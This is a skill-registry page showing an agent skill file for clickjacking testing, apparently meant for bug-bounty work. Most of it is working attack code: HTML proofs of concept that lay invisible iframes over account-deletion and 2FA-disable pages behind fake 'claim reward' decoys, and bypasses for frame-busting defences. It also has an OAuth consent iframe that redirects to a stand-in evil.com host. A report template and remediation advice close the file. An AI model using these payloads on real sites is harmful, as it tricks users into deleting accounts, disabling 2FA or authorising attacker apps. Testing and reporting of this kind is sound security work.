agentleFS
RifteoRifteo/skills/clickjacking-hunter/SKILL.md

clickjacking-hunter

Skill37 starsChanged 5 months agoMITView on GitHub

Complete clickjacking (UI redressing) methodology framing protection detection, single-click and multi-step PoC construction, JS frame-busting bypass, drag-and-drop and OAuth consent variants, and report structure. Trigger when the user asks to test for clickjacking or UI redressing, wants to check if a sensitive endpoint (account delete, 2FA disable, OAuth consent) is frameable, needs to build a clickjacking PoC for a report, or wants to bypass JavaScript frame-busting protections.

  • Installs packages

The file

We split this skill into the rules it gives an agent

7 rules. About 0 are common, 5 are distinctive, and 2 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈5

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 2

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    If found → weak protection, bypassable with sandbox attribute (see Phase 4).

    line 52
  2. Distinctive:

    Before building a full PoC, confirm the page actually loads in an iframe:

    line 63
  3. Distinctive:

    Use the opacity slider to visually align the decoy button with the target button for the report screenshot.

    line 138
  4. Distinctive:

    If JS frame-busting is detected (Phase 1.3), use these bypasses:

    line 206
  5. Very specific:

    If the target checks top !== self but not the grandparent:

    line 219
  6. Distinctive:

    Always test these endpoints first — highest impact:

    line 240
  7. Distinctive:

    If the target has a drag-and-drop file upload or sortable element, trick the user into dragging instead of clicking:

    line 259

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Clickjacking Hunter

Clickjacking (UI redressing) tricks a victim into clicking elements on a hidden target page by overlaying invisible iframes on top of decoy content. Impact ranges from account deletion and fund transfer to OAuth authorization and 2FA disable — any one-click sensitive action is a candidate.


Phase 1 — Check Framing Protections

1.1 Header check (fast)

curl -sI https://target.com/account/settings | grep -i "x-frame-options\|content-security-policy"

What you're looking for:

HeaderValueProtection
X-Frame-OptionsDENYBlocks all framing
X-Frame-OptionsSAMEORIGINSame origin only
X-Frame-OptionsALLOW-FROM uriDeprecated, ignored by modern browsers
X-Frame-OptionsmissingVulnerable
Content-Security-Policyframe-ancestors 'none'Blocks all framing (supersedes XFO)
Content-Security-Policyframe-ancestors 'self'Same origin only
Content-Security-Policymissing frame-ancestorsXFO governs, or no protection

CSP frame-ancestors takes precedence over X-Frame-Options in modern browsers. Having only XFO is still accepted but weaker.

1.2 Scan multiple sensitive endpoints

for path in / /account/settings /account/delete /transfer /change-password /change-email /admin/dashboard /oauth/authorize /2fa/disable; do
  echo -n "$path: "
  h=$(curl -sI "https://target.com$path")
  xfo=$(echo "$h" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$h" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  [ -z "$xfo" ] && [ -z "$csp" ] && echo "NO PROTECTION" || echo "${xfo} | ${csp}"
done

1.3 Check for JavaScript frame-busting

curl -s https://target.com/account/settings | grep -i "top.location\|window.top\|parent.frames\|top !== self"

If found → weak protection, bypassable with sandbox attribute (see Phase 4).

1.4 Automated scan

python scripts/clickjacking_agent.py https://target.com /account/settings /account/delete /transfer

Phase 2 — Confirm Embedding

Before building a full PoC, confirm the page actually loads in an iframe:

<!-- Save as /tmp/frame-test.html and serve with: python3 -m http.server 8888 -->
<html>
<body>
  <p>If the target loads below — vulnerable. If blank or console error — protected.</p>
  <iframe src="https://target.com/account/settings" width="900" height="700" style="border:2px solid red;"></iframe>
</body>
</html>

Open http://localhost:8888/frame-test.html in a browser where you're logged into the target. Check the browser console for Refused to display errors.


Phase 3 — Build the PoC

3.1 Single-click PoC

Position the decoy button exactly over the target's sensitive button. Adjust top/left to align:

<!DOCTYPE html>
<html>
<head>
<title>You've been selected!</title>
<style>
  #target-frame {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;   /* invisible */
    z-index: 2;
    border: none;
  }
  #decoy {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    z-index: 1;
    background: #fff;
    text-align: center;
  }
  #bait {
    position: absolute;
    top: 350px;   /* align with target's sensitive button */
    left: 400px;
    padding: 15px 30px;
    background: #4CAF50;
    color: #fff;
    font-size: 18px;
    border: none;
    cursor: pointer;
    border-radius: 4px;
  }
  /* Opacity slider — for screenshot evidence set to 0.5 */
  #ctrl { position: fixed; bottom: 10px; left: 10px; z-index: 10; background: #333; color: #fff; padding: 8px; border-radius: 4px; }
</style>
</head>
<body>
  <div id="decoy">
    <h2 style="margin-top:120px;">Congratulations! You've been selected.</h2>
    <p>Click below to claim your reward.</p>
    <button id="bait">CLAIM REWARD</button>
  </div>
  <iframe id="target-frame" src="https://target.com/account/delete" scrolling="no"></iframe>
  <div id="ctrl">
    Opacity: <input type="range" min="0" max="100" value="0"
      oninput="document.getElementById('target-frame').style.opacity = this.value/100">
  </div>
</body>
</html>

Use the opacity slider to visually align the decoy button with the target button for the report screenshot.

3.2 Multi-step PoC

For actions requiring multiple clicks (e.g. Settings → Disable 2FA → Confirm):

<!DOCTYPE html>
<html>
<head>
<title>Complete Survey</title>
<style>
  #target-frame {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  .step { display: none; text-align: center; margin-top: 180px; }
  .step.active { display: block; }
  .btn {
    position: absolute;
    padding: 14px 36px;
    font-size: 17px;
    background: #2196F3;
    color: #fff;
    border: none;
    cursor: pointer;
  }
</style>
</head>
<body>
  <!-- Step 1: aligns with "Settings" link -->
  <div class="step active" id="s1">
    <h2>Step 1 of 3: Pick your reward tier</h2>
    <button class="btn" style="top:200px; left:300px;" onclick="go(2)">Gold</button>
  </div>
  <!-- Step 2: aligns with "Disable 2FA" button -->
  <div class="step" id="s2">
    <h2>Step 2 of 3: Confirm selection</h2>
    <button class="btn" style="top:350px; left:400px;" onclick="go(3)">Confirm</button>
  </div>
  <!-- Step 3: aligns with confirmation dialog "Yes, disable" -->
  <div class="step" id="s3">
    <h2>Step 3 of 3: Claim reward!</h2>
    <button class="btn" style="top:400px; left:420px;">Claim Now</button>
  </div>

  <iframe id="target-frame" src="https://target.com/account/security"></iframe>

  <script>
    function go(n) {
      document.querySelector('.step.active').classList.remove('active');
      document.getElementById('s' + n).classList.add('active');
      // change iframe src if the action moves to a different page
      // document.getElementById('target-frame').src = 'https://target.com/...';
    }
  </script>
</body>
</html>

Phase 4 — Frame-Busting Bypass

If JS frame-busting is detected (Phase 1.3), use these bypasses:

sandbox attribute (most reliable)

<!-- sandbox without allow-top-navigation blocks JS navigation attempts -->
<iframe src="https://target.com/settings"
  sandbox="allow-scripts allow-forms allow-same-origin"
  width="900" height="700">
</iframe>

allow-top-navigation is intentionally omitted — this prevents top.location = ... from working.

Double-framing

If the target checks top !== self but not the grandparent:

<!-- outer.html (your page) -->
<iframe src="middle.html"></iframe>

<!-- middle.html (intermediate page you control) -->
<iframe src="https://target.com/settings"></iframe>

The target sees top !== self is false relative to the middle frame.

onbeforeunload interception

<script>window.onbeforeunload = () => "";</script>
<iframe src="https://target.com/settings"></iframe>

Prevents the frame-busting redirect from completing in some browsers.


Phase 5 — High-Value Targets

Always test these endpoints first — highest impact:

TargetAttackPotential impact
/account/deleteSingle-clickPermanent account destruction
/change-email or /change-passwordSingle-clickAccount takeover
/2fa/disableSingle or multi-stepSecurity downgrade → ATO
/transfer or /checkoutSingle-click on pre-filled formFinancial loss
/oauth/authorizeSingle-clickAttacker app authorized to victim's account
/admin/*Single-clickAdmin action performed as victim
/settings/connected-appsSingle-clickMalicious app authorized

OAuth consent clickjacking

The OAuth consent screen is a prime target — victim clicks "Authorize" without knowing it:

<iframe src="https://target.com/oauth/authorize?client_id=ATTACKER_APP&response_type=code&redirect_uri=https://evil.com/steal&scope=read:all"></iframe>

Drag-and-drop variant (no click required)

If the target has a drag-and-drop file upload or sortable element, trick the user into dragging instead of clicking:

<!-- Invisible iframe covers the drop zone -->
<iframe src="https://target.com/upload" style="opacity:0.0001; position:absolute; z-index:2;"></iframe>
<!-- Decoy: "drag this file to the box below" -->

Phase 6 — Automation

pip install requests

# Check headers + generate PoC for first vulnerable endpoint
python scripts/clickjacking_agent.py https://target.com /account/settings /account/delete /transfer /admin

# PoC saved to clickjacking_poc.html — open in browser while logged into target
python3 -m http.server 8888
# http://localhost:8888/clickjacking_poc.html

Phase 7 — Report Structure

Title: Clickjacking on [endpoint] allows [account deletion / fund transfer / 2FA disable]

Severity: Medium — High depending on the sensitive action reachable

Affected endpoints: [list of vulnerable paths]

Steps to reproduce:
1. Log in to target.com as the victim
2. Open the PoC page (clickjacking_poc.html) in the same browser
3. Click the decoy button
4. Observe: [sensitive action performed on target.com]

Impact:
- [e.g. "Account deleted with a single click — no re-authentication required"]
- [e.g. "2FA disabled in two clicks — attacker can then take over account via credential stuffing"]

Evidence:
- Screenshot 1: PoC at opacity 0 — victim sees only decoy content
- Screenshot 2: PoC at opacity 0.5 — hidden iframe visible, button alignment confirmed
- Screenshot 3: Sensitive action completed on target after clicking decoy

Remediation:
- Add CSP: frame-ancestors 'none' to all pages (preferred — supersedes XFO)
- Add X-Frame-Options: DENY as fallback for legacy browsers
- Require re-authentication for irreversible actions (delete, transfer, email change)
- Add unpredictable CSRF tokens that expire quickly — limits iframe pre-fill window
- Set SameSite=Strict on session cookies — reduces session availability in cross-origin frames

Quick Priority Order

  1. Account deletion / email change — one click → ATO or permanent loss
  2. 2FA disable — security downgrade, enables ATO
  3. OAuth consent screens — grants attacker app access to victim account
  4. Financial actions (transfer, checkout) — direct financial impact
  5. Admin actions — high impact if victim is an admin
  6. Settings changes (notification prefs, connected apps) — lower severity

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.